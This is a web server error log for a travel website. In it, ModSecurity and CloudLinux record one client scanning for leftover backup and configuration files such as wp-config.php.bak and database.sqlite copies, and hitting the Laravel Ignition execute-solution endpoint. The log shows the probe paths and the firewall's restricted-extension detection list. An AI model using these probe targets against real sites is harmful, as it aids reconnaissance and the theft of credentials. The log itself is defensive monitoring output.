[Fri Jul 17 08:55:20.781726 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.sqlite~"] [unique_id "almgoKquHSHoCJK_V0SBZgAAABs"]
[Fri Jul 17 08:55:20.781863 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.782026 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoKquHSHoCJK_V0SBZgAAABs"]
[Fri Jul 17 08:55:20.788677 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.789916 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.791229 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.sqlite.backup"] [unique_id "almgoLoj0IkvhSCYadmBwQAAAAQ"]
[Fri Jul 17 08:55:20.791726 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.sqlite.backup"] [unique_id "almgoLoj0IkvhSCYadmBwQAAAAQ"]
[Fri Jul 17 08:55:20.791826 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.791947 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoLoj0IkvhSCYadmBwQAAAAQ"]
[Fri Jul 17 08:55:20.793846 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.795735 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.797518 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.798801 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.sqlite.swp"] [unique_id "almgoFCBpfuYyhJ140vSvwAAAB4"]
[Fri Jul 17 08:55:20.799336 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.sqlite.swp"] [unique_id "almgoFCBpfuYyhJ140vSvwAAAB4"]
[Fri Jul 17 08:55:20.799455 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.799640 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoFCBpfuYyhJ140vSvwAAAB4"]
[Fri Jul 17 08:55:20.800586 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.804103 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.805131 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.sqlite.old"] [unique_id "almgoA5GPQ6hs4VrfMpBmgAAAAY"]
[Fri Jul 17 08:55:20.805641 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.sqlite.old"] [unique_id "almgoA5GPQ6hs4VrfMpBmgAAAAY"]
[Fri Jul 17 08:55:20.805778 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.805908 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBmgAAAAY"]
[Fri Jul 17 08:55:20.832232 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php/_ignition/execute-solution) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.883408 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php/_ignition/execute-solution) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.934441 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php/_ignition/execute-solution) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.979834 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php/_ignition/execute-solution) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.024725 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.069354 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.113942 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.173064 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.221928 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.277164 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.338158 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.381714 2026] [authz_core:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.bak
[Fri Jul 17 08:55:21.381893 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.394687 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgll1_86A5R6msWNfUcwAAABI"]
[Fri Jul 17 08:55:21.627383 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.bak"] [unique_id "almgoVCBpfuYyhJ140vSwQAAAB4"]
[Fri Jul 17 08:55:21.627641 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.bak"] [unique_id "almgoVCBpfuYyhJ140vSwQAAAB4"]
[Fri Jul 17 08:55:21.627920 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.bak"] [unique_id "almgoVCBpfuYyhJ140vSwQAAAB4"]
[Fri Jul 17 08:55:21.628084 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.628237 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoVCBpfuYyhJ140vSwQAAAB4"]
[Fri Jul 17 08:55:21.632006 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.old"] [unique_id "almgoXRlmrtCoY_COpcmBAAAAAg"]
[Fri Jul 17 08:55:21.632300 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.old"] [unique_id "almgoXRlmrtCoY_COpcmBAAAAAg"]
[Fri Jul 17 08:55:21.632577 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.old"] [unique_id "almgoXRlmrtCoY_COpcmBAAAAAg"]
[Fri Jul 17 08:55:21.632712 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
